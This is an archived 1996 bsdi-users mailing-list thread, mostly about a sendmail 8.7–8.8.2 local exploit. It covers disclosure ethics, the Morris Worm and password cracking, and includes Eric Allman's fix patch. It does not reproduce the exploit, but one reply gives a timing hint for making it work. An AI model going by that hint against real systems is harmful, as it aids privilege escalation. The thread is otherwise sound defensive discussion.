nil] ["627" "Mon" "18" "November" "1996" "01:45:11" "+1030" "David Newall" "davidn@rebel.net.au" nil "18" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA01589 for ; Sun, 17 Nov 1996 12:13:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA00606 for bsdi-users-outgoing; Sun, 17 Nov 1996 10:15:25 -0500 (EST) Message-Id: <199611171515.BAA27492@rebel.net.au> In-Reply-To: from "Henry Spencer" at Nov 17, 96 00:28:28 am Content-Type: text Precedence: bulk From: David Newall Sender: owner-bsdi-users@lists.gateway.com To: henry@zoo.toronto.edu (Henry Spencer) Cc: bsdi-users@bsdi.com (bsdi-users) Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Mon, 18 Nov 1996 01:45:11 +1030 (CST) Henry Spencer wrote: > while there was some vague understanding that use of gets() was a > bad idea in theory, nobody realized that it could be used for full-scale > security penetration, as opposed to just making things crash. > > (Incidentally, as far as the notion that the problems of gets() in > particular were "hardly discussed", you might want to read the > Darwin&Collyer paper in the winter 1985 Usenix proceedings, published > nearly four years before the Worm.) Umm, did you just directly contradict yourself, Henry? I think perhaps you did. QED. [Standard disclaimer: These are my private opinions] From VM Sun Nov 17 22:01:47 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["714" "Sun" "17" "November" "1996" "14:48:08" "+0000" "Dave MacRae" "dave@businessmonitor.co.uk" nil "21" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA01860 for ; Sun, 17 Nov 1996 12:16:27 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA00595 for bsdi-users-outgoing; Sun, 17 Nov 1996 10:09:51 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Dave MacRae Sender: owner-bsdi-users@lists.gateway.com To: Jay Vassos-Libove cc: bsdi-users@bsdi.com Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Sun, 17 Nov 1996 14:48:08 +0000 (GMT) On Sun, 17 Nov 1996, Jay Vassos-Libove wrote: > I have tested this exploit on my BSD/OS v2.1 box, which includes the > sendmail 8.8.2 upgrade (patch U210-027), and it does not work. I don't > know if this is because the exploit was explicitly fixed by BSDi, or if > some other environmental factor does it, but it definitely doesn't work > here. I've also just tested this on my 2.1 with 8.8.2 system and it does work. You just have to be quick sending the kill signal. Regards Dave MacRae -- Business Monitor Webmaster http://www.businessmonitor.co.uk Phone: +44 131 551 3515 Main Office: +44 171 820 7733 Fax: +44 131 551 3514 +44 171 820 0748 From VM Sun Nov 17 22:01:48 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["560" "Sun" "17" "November" "1996" "10:47:15" "-0500" "Keith Bostic" "bostic@bsdi.com" nil "18" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA02405 for ; Sun, 17 Nov 1996 12:45:36 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA00650 for bsdi-users-outgoing; Sun, 17 Nov 1996 10:47:25 -0500 (EST) Message-Id: <199611171547.KAA07632@mongoose.bostic.com> Precedence: bulk From: Keith Bostic Sender: owner-bsdi-users@lists.gateway.com To: davidn@rebel.net.au, henry@zoo.toronto.edu Cc: bsdi-users@BSDI.COM Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Sun, 17 Nov 1996 10:47:15 -0500 (EST) > Actually, as I understand it (bearing in mind that I wasn't personally > involved), this is a popular myth -- none of the holes that the Worm > exploited was particularly well known, even within the development > community. This is correct. > Eric Allman's little back door in sendmail was known only to > him This isn't quite. There were a couple of features in sendmail that combined to create the problem. There was no deliberate "backdoor" as such, just the ability to remotely debug connections which was more powerful than anyone knew. --keith From VM Sun Nov 17 22:01:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1186" "Sun" "17" "November" "1996" "13:48:19" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "24" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA04344 for ; Sun, 17 Nov 1996 13:57:43 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA00848 for bsdi-users-outgoing; Sun, 17 Nov 1996 13:48:55 -0500 (EST) In-Reply-To: <199611171515.BAA27492@rebel.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: David Newall cc: bsdi-users Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Sun, 17 Nov 1996 13:48:19 -0500 (EST) > > while there was some vague understanding that use of gets() was a > > bad idea in theory, nobody realized that it could be used for full-scale > > security penetration, as opposed to just making things crash. > > > > (Incidentally, as far as the notion that the problems of gets() in > > particular were "hardly discussed", you might want to read the > > Darwin&Collyer paper in the winter 1985 Usenix proceedings... > > nearly four years before the Worm.) > > Umm, did you just directly contradict yourself, Henry? I think perhaps > you did. Nope. Read it more carefully, and then read the paper. :-) There was wide understanding, at least among people who were paying attention, that use of gets() was a bad idea, because it led to programs that were not robust. But the Worm's exploitation of this to break security (as opposed to just making the finger daemon dump core) was really rather clever, and the technique used was *not* widely known -- had it been, people would have been a bit more alert to the possibility. Henry Spencer henry@zoo.toronto.edu From VM Sun Nov 17 22:01:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["890" "Sun" "17" "November" "1996" "21:09:18" "+0100" "Lars Blomqvist" "lb@telia.net" nil "29" "Re: bsdi on a atapi drive" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA04614 for ; Sun, 17 Nov 1996 14:02:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA00875 for bsdi-users-outgoing; Sun, 17 Nov 1996 14:03:32 -0500 (EST) Message-ID: <328F70EE.4B2D@telia.net> Reply-To: lb@telia.net Organization: Telia AB X-Mailer: Mozilla 3.0Gold (Win95; I) MIME-Version: 1.0 References: <56i4r3$ja@titan.saturn.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Lars Blomqvist Sender: owner-bsdi-users@lists.gateway.com To: Brian Mitchell CC: bsdi-users@BSDI.COM Subject: Re: bsdi on a atapi drive Date: Sun, 17 Nov 1996 21:09:18 +0100 Try to configure it as a master drive. /Lars Brian Mitchell wrote: > > Has anyone had luck with bsdi 2.1 on a atapi drive (gw2k). BSDI does > not seem to be able to locate wdc1, even when I explicitly give it the > base port and irq. > > System is a gw2k p100 with a epson 2x ide (atapi) cdrom drive. > > -- > ####################################################################### > Brian Mitchell brian@saturn.net > ####################################################################### -- ________________________________________________________________________ Lars Blomqvist Telia AB Telia Network Services Sweden lb@telia.net +46 705572327 ________________________________________________________________________ From VM Sun Nov 17 22:01:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3231" "Sun" "17" "November" "1996" "14:20:32" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "64" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA05164 for ; Sun, 17 Nov 1996 14:26:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA00907 for bsdi-users-outgoing; Sun, 17 Nov 1996 14:20:49 -0500 (EST) Message-Id: <199611171920.OAA03593@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Sun, 17 Nov 1996 13:40:59 +0100. <56n14p$ckq@news.xs4all.nl> Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Sun, 17 Nov 1996 14:20:32 -0500 >>> The intelligence of posting the exploit without posting the fix is very >>> questionable. This is another example of someone questioning a very nice person's helpful message, warning people like me not aware of the problem, and telling us that a fix is soon to be coming and from who. The person insulting Jason didn't even have the class to do it privately, but had to (unsuccessfully) try to make Jason, who took time out of his busy schedule to help us with no gain for himself, look bad in front of a whole group of his peers. As people have pointed out, not talking about it publically is how Morris and such get these netwide simple to fix bugs. Even if Jason had made a mistake, it could have been pointed out much nicer. Someone else mailed me that he's afraid to ask questions because of how nasty and 'holyier than thou' and the general desire to put others down rathen than help. Please note that Jason didn't discuss this issue with me at all. Also, anyone who has been fortunate enough to know Jason Mastale, should know that he is extremely intelligent, polite and a unix expert who shows his expertise by helping people, instead of trying to look superior by trashing other posters. Please mail me if you are interested in a moderated alt.bsdi.friendly, in which non-friendly messages will be sent back to the writer with the offensive part of the message pointed out and explained by the moderator. If enough people request it, I may start the new usenet newsgroup. If someone else would do the monitoring and start/own the newsgroup who is serious about having a BSDI group in which people are interested in helping eachother more than somehow stroke their ego by belittling others, please count me as a vote for you creating the newsgroup. I'll be the moderator if people want me to, but I'd rather not, and sometimes can't get to it for a couple days due to chronic fatigue syndrome. I and other helpful contributors will probably quit if something isn't done. There's already an alt.flame newsgroup so if this is going to be another, I'll pass. I'd rather just pass on it and use the BSDI 800 # service if I need help. Please don't blame Jason for my post. I haven't talked to him since well before this started. When someone (not myself or Jason) is scared to post because of how nasty some members are as if they are waiting/hoping for someone to trash someone, there's something wrong. But a nicer way to say the same thing is replacing the "I question the intelligence of X..." which is IMO a show-off way of saying "I'm so much smarter than you" with "I was wondering what the advantages and disadvantages of X vs. Y are?" Both get the same question answered, but the second is a friendly non-insulting question, while the first is IMO insulting and stupid, especially if the insulter is wrong as is often the case. This seems to be a long standing tradition to this list. It is so childish and annoying as well as time consuming, yet should be a fun, useful, group in which people show basic respect for eachother as we're mostly BSD fans :) I also feel that tin is a much better tool to read the volume of messages than mail readers, but that's debatable. Jacob Parnas From VM Sun Nov 17 22:01:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["987" "Sun" "17" "November" "1996" "14:30:01" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "21" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA05437 for ; Sun, 17 Nov 1996 14:33:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA00926 for bsdi-users-outgoing; Sun, 17 Nov 1996 14:30:31 -0500 (EST) Message-Id: <199611171930.OAA03624@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Sun, 17 Nov 1996 00:28:28 EST. Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: Henry Spencer cc: David Newall , bsdi-users Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Sun, 17 Nov 1996 14:30:01 -0500 In message you write: >> I disagree! The attitude of not talking about security holes was prevalent >> before Morris's Internet Worm. Morris exploited long known but hardly >> discussed faults... > >Actually, as I understand it (bearing in mind that I wasn't personally >involved), this is a popular myth -- none of the holes that the Worm >exploited was particularly well known, even within the development >community. Wasn't one of its techniques to do a quick search of the the password file for commonly used passwords? I thought this was a commonly known problem and fortunately vendors soon started switching much more to at least allowing administrators to use shadow password files, in which the encrypted passwords are not world readable. I remember reading that hole in the security mailing list for years and seeing the statistics when using just a few common passwords on a mid-large password file. Jacob Parnas From VM Sun Nov 17 22:02:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1508" "Sun" "17" "November" "1996" "16:11:15" "-0500" "Evan Champion" "evanc@synapse.net" nil "31" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA08163 for ; Sun, 17 Nov 1996 16:20:38 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA01117 for bsdi-users-outgoing; Sun, 17 Nov 1996 16:11:25 -0500 (EST) In-Reply-To: <199611171930.OAA03624@jparnas.cybercom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Evan Champion Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" cc: Henry Spencer , David Newall , bsdi-users Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Sun, 17 Nov 1996 16:11:15 -0500 (EST) On Sun, 17 Nov 1996, Jacob M. Parnas wrote: > Wasn't one of its techniques to do a quick search of the the password file > for commonly used passwords? I thought this was a commonly known problem > and fortunately vendors soon started switching much more to at least allowing > administrators to use shadow password files, in which the encrypted passwords > are not world readable. I remember reading that hole in the security mailing > list for years and seeing the statistics when using just a few common passwords > on a mid-large password file. Out of curiousity, sometime last year I tried hacking my own password file. Using the program "crack" and one of the dictionaries in /usr/share/dict I cracked 200 passwords the first hour or 1.5 hours. After 4 hours I think it had cracked 300. After that, it took longer and longer to crack the remaining passwords (as one would expect, as it makes multiple passes, and the most difficult passwords to crack would require multiple iterations.) In some ways I almost think BSD/OS should ship with a password file cracker that could run, say, once per month and generate e-mails for any passwords that it cracked. One of the places I worked at did that; if they cracked your password, your manager got a nastygram from security strongly suggesting that it be changed immediately. Evan -- Evan Champion * Director, Network Operations mailto:evanc@synapse.net * Directeur, Exploitation du reseau http://www.synapse.net/ * Synapse Internet From VM Sun Nov 17 22:02:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["507" "Sun" "17" "November" "1996" "16:03:31" "-0800" "Jason Downs" "downsj@teeny.org" nil "16" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA12776 for ; Sun, 17 Nov 1996 19:12:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA01544 for bsdi-users-outgoing; Sun, 17 Nov 1996 19:04:13 -0500 (EST) Message-Id: <199611180003.QAA01126@threadway.teeny.org> X-Mailer: exmh version 1.6.5 12/11/95 In-reply-to: Your message of "Sun, 17 Nov 1996 13:38:13 CST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Jason Downs Sender: owner-bsdi-users@lists.gateway.com To: Craig Brozefsky cc: David Newall , bsdi-users Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Sun, 17 Nov 1996 16:03:31 -0800 In message , Craig Brozefsky writes: >Their actual motives? Maybe make sendmail and Eric look bad and get their >names all over the place? I don't think anyone really has to _try_ to make Sendmail or Eric Allman look bad. -- Jason Downs (503) 256-8535 -/- (503) 952-3749 downsj@teeny.org --> teeny.org: Free Software for a Free Internet <-- http://www.teeny.org/ This ain't no steeenking NetBSD. http://www.openbsd.org/ From VM Sun Nov 17 22:02:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["835" "Sun" "17" "November" "1996" "18:50:08" "-0700" "Stephen Fisher" "lithium@cia-g.com" nil "34" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA15465 for ; Sun, 17 Nov 1996 20:52:40 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA01741 for bsdi-users-outgoing; Sun, 17 Nov 1996 20:50:27 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Stephen Fisher Sender: owner-bsdi-users@lists.gateway.com To: Armando Escalante cc: bsdi-users@BSDI.COM Subject: Re: Dual Homing w/BSDI or 25xx? Date: Sun, 17 Nov 1996 18:50:08 -0700 (MST) On Fri, 15 Nov 1996, Armando Escalante wrote: > > I'm going add a new line to my site, would anyone recommend the best way > to go? > I have a cisco 2514 but know that a bsdi box with T1 boards also > works as a router. Using GateD? I know a Cisco 25xx can do BGP to do simple load balancing with both lines going to the same provider. But it can't hold the entire Internet's routing tables (not enough ram, cpu, etc). > Can I use the 2514 to do dual homing? Should I use it? Should I use BSDI > instead? What would cost less and be easier to configure? > > Where can I find out? On the ISP FAQ at www.amazing.com I found this link: http://routes.netaxs.com/multi.html Which explains multi-homing for [small] ISPs. - Steve - Systems Manager - Community Internet Access, Inc. - Gallup and Grants, New Mexico From VM Sun Nov 17 22:02:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["921" "Sun" "17" "November" "1996" "21:29:54" "-0400" "Dan Reish" "dreish@izzy.net" nil "24" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA16563 for ; Sun, 17 Nov 1996 21:31:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA01841 for bsdi-users-outgoing; Sun, 17 Nov 1996 21:29:34 -0500 (EST) Message-Id: <199611180225.VAA17632@izzy4.izzy.net> Comments: Authenticated sender is Organization: X Market, Inc. MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Dan Reish" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM CC: Evan Champion Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Sun, 17 Nov 1996 21:29:54 -0400 On 17 Nov 96 at 16:11, Evan Champion wrote: [...] > In some ways I almost think BSD/OS should ship with a password file > cracker that could run, say, once per month and generate e-mails for > any passwords that it cracked. One of the places I worked at did > that; if they cracked your password, your manager got a nastygram > from security strongly suggesting that it be changed immediately. A far better method is to prevent users from choosing bad passwords in the first place by replacing 'passwd' with something which does a dictionary lookup (and applies a few other rules) with the plaintext password. _Programming Perl_ comes with such a program, albeit with a few bugs, a few Perl 4.0-isms, and poor support for password shadowing. Unfortunately, the program did not include a distribution policy. If it did, I'd post a fixed version for BSD/OS 2.1. Nevertheless, it isn't too hard to convert. -- Dan From VM Mon Nov 18 23:28:44 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["962" "Sun" "17" "November" "1996" "13:38:13" "-0600" "Craig Brozefsky" "cosmo@ebs.net" nil "23" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA17916 for ; Sun, 17 Nov 1996 22:19:38 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA01936 for bsdi-users-outgoing; Sun, 17 Nov 1996 22:14:52 -0500 (EST) In-Reply-To: <199611170204.SAA08757@threadway.teeny.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Craig Brozefsky Sender: owner-bsdi-users@lists.gateway.com To: Jason Downs cc: David Newall , bsdi-users Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Sun, 17 Nov 1996 13:38:13 -0600 (CST) On Sat, 16 Nov 1996, Jason Downs wrote: > > The fix for this particular exploit is trivial and small. It should have > been posted at the same time, or the exploit should not have been posted > at all. Doing otherwise is silly, and opens up all those machines whose > owners can not fix it themselves. No, they were already open. It told everyone else who didn't already know that these machines were now open. > I have the same problem with the original author of this particular exploit. > There was NOTHING TO BE GAINED by posting it without a fix, all it did was > put a *lot* more machines at risk. Doing so was irresponsible, stupid, and > makes one wonder about actual motives. Their actual motives? Maybe make sendmail and Eric look bad and get their names all over the place? Craig Brozefsky cosmo@ebs.net System Administrator vox: 312-226-1675 EBS.NET http://www.ebs.net *****available for limited time only in this dimension**** From VM Mon Nov 18 23:28:45 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3808" "Sun" "17" "November" "1996" "13:43:22" "-0600" "Craig Brozefsky" "cosmo@ebs.net" nil "130" "Re: Exploit for sendmail smtpd bug PATCH!" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA17917 for ; Sun, 17 Nov 1996 22:19:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA01945 for bsdi-users-outgoing; Sun, 17 Nov 1996 22:15:06 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Craig Brozefsky Sender: owner-bsdi-users@lists.gateway.com To: Chad Scott cc: bsdi-users Subject: Re: Exploit for sendmail smtpd bug PATCH! Date: Sun, 17 Nov 1996 13:43:22 -0600 (CST) On Sat, 16 Nov 1996, Chad Scott wrote: > > This I agree with, and as you remember I posted the possibility of a > vulnerability to the X libraries some time back, but I did not post the > exploit. I did offer it to BSDI and a few members of the list, but I did > not post it in the public forum. > > I'm sure his motives and intentions were positive. Personally, if I had > an exploit script and I intended on USING it, I wouldn't post it to the > mailing list of the OS it worked on. > > At any rate, does anyone have a fix for this? If you do would you please > be so kind as to post it for the rest of us (or better yet provide the > URL). > Here ya go. I got this off usenet. I kept the article headers attached so you all could see where it was coming from. I did not write this obviously. From: hurtta@ozone.FMI.FI (Kari E. Hurtta) Newsgroups: comp.security.unix,comp.mail.sendmail Subject: Re: Yet another sendmail exploit Followup-To: comp.mail.sendmail Date: 17 Nov 1996 15:31:55 +0200 Message-ID: References: <56kfqf$sle@sol.sun.csd.unb.ca> NNTP-Posting-Host: ozone.fmi.fi In article <56kfqf$sle@sol.sun.csd.unb.ca> jaf@sarastro.sun.csd.unb.ca (Tony Fitzgerald) writes in comp.security.unix: > Overnight there was a posting in the "Best of Security" mailing list > detailing yet another sendmail exploit advertised to work for sendmail > versions 8.7 through 8.8.2. The script required some reworking to work > on Solaris, however, worked as advertised on Solaris 1 (SunOS 4.1.3_U1) > and appears to have come close to working on Solaris 2 (SunOS 5.5). > > I don't care to distribute either the original or my modified version of > the script, however, there was a suggested patch for 8.8.2 which I will > append below. Following patch is from Eric Allman. I take freedom to redistribute it. - K E H Message-Id: <199611170200.SAA13681@knecht.Sendmail.ORG> From: Eric Allman X-URL: http://WWW.InReference.COM/~eric cc: sendmail-bugs@sendmail.org Subject: Re: Security problem in 8.7.x and 8.8.x Date: Sat, 16 Nov 1996 18:00:33 -0800 [ Text deleted. - K E H ] ------- main.c ------- *** - Wed Dec 31 16:00:00 1969 --- main.c Sat Nov 16 07:07:17 1996 *************** *** 493,507 **** { case MD_DAEMON: case MD_FGDAEMON: ! # ifdef DAEMON ! if (RealUid != 0) ! { ! usrerr("Permission denied"); ! exit(EX_USAGE); ! } ! vendor_daemon_setup(CurEnv); ! /* fall through ... */ ! # else usrerr("Daemon mode not implemented"); ExitStat = EX_USAGE; break; --- 493,499 ---- { case MD_DAEMON: case MD_FGDAEMON: ! # ifndef DAEMON usrerr("Daemon mode not implemented"); ExitStat = EX_USAGE; break; *************** *** 899,904 **** --- 891,904 ---- /* fall through ... */ case MD_DAEMON: + /* check for permissions */ + if (RealUid != 0) + { + usrerr("Permission denied"); + exit(EX_USAGE); + } + vendor_daemon_setup(CurEnv); + /* remove things that don't make sense in daemon mode */ FullName = NULL; GrabTo = FALSE; *************** *** 1932,1937 **** --- 1932,1946 ---- syslog(LOG_INFO, "restarting %s on signal", SaveArgv[0]); #endif releasesignal(SIGHUP); + if (setuid(RealUid) < 0 || setgid(RealGid) < 0) + { + #ifdef LOG + if (LogLevel > 0) + syslog(LOG_ALERT, "could not set[ug]id(%d, %d): %m", + RealUid, RealGid); + #endif + exit(EX_OSERR); + } execv(SaveArgv[0], (ARGV_T) SaveArgv); #ifdef LOG if (LogLevel > 0) ----------------------------------the end------------------------------- Craig Brozefsky cosmo@ebs.net System Administrator vox: 312-226-1675 EBS.NET http://www.ebs.net *****available for limited time only in this dimension**** From VM Mon Nov 18 23:28:45 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["726" "Sun" "17" "November" "1996" "23:07:09" "+0200" "bsd@infonet.ee" "bsd@infonet.ee" nil "27" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA17924 for ; Sun, 17 Nov 1996 22:19:44 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA01951 for bsdi-users-outgoing; Sun, 17 Nov 1996 22:15:14 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: BSD Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Sun, 17 Nov 1996 23:07:09 +0200 (EET) On Sun, 17 Nov 1996, Dave MacRae wrote: > I've also just tested this on my 2.1 with 8.8.2 system and it does work. > You just have to be quick sending the kill signal. Hi, I read this discussion, and now i decide to turn off read only mode. :) Maybe this solution in a.s.r style will help somebody: 1. Inatsll at least smap/smapd/progmail from fwtk (http://www.tis.com) 2. chown root.wheel gcc chmod 700 gcc (and, of course, cc, gcc2, and other compiler stuff). Result: forget about your sendmail of any version. I use it for months, and only have hack attempt logs in "badmail". Very funny to read them. PS. Step 2 will solve you lots of other problems. :) Regards, Konstantin Barinov. sbernard@infonet.ee From VM Mon Nov 18 23:28:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["999" "" "17" "November" "1996" "23:48:58" "GMT" "david@news1.anet-dfw.com" "david@news1.anet-dfw.com" nil "30" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA17928 for ; Sun, 17 Nov 1996 22:20:19 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA01957 for bsdi-users-outgoing; Sun, 17 Nov 1996 22:15:25 -0500 (EST) Path: news1.anet-dfw.com!david Newsgroups: info.bsdi.users Organization: Anet News Services Lines: 30 Message-ID: <56o89a$o1s@news1.anet-dfw.com> References: NNTP-Posting-Host: news1.anet-dfw.com X-Newsreader: TIN [version 1.2 PL2] Precedence: bulk From: david@news1.anet-dfw.com () Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: Re: Dual Homing w/BSDI or 25xx? Date: 17 Nov 1996 23:48:58 GMT Offhand, I forget what features the 2514 has. Make sure it can support full bpg routing tables, or else you may run into problems when your routing tables become large. We are multihomed using 2 routers, and one of the routers does not support full bpg routing tables, and therefore, we are looking to consolidate the 2 multihomed POPS, or upgrade our 2500 series router to a 4500 series. I do not recommend letting bsdi do your routing for you. The routing daemons work ok, but when you are using a software based PC/Router, you are bound to be less than perfect. DB Armando Escalante (armando@tio.com) wrote: : I'm going add a new line to my site, would anyone recommend the best way : to go? : I have a cisco 2514 but know that a bsdi box with T1 boards also : works as a router. Using GateD? : Can I use the 2514 to do dual homing? Should I use it? Should I use BSDI : instead? What would cost less and be easier to configure? : Where can I find out? : Thanks in advance! : Armando From VM Mon Nov 18 23:28:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1956" "Sun" "17" "November" "1996" "18:25:08" "-0800" "Mike Greene" "mikeg@rockisland.com" nil "82" "patch from Eric Allman for sendmail exploit" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA17932 for ; Sun, 17 Nov 1996 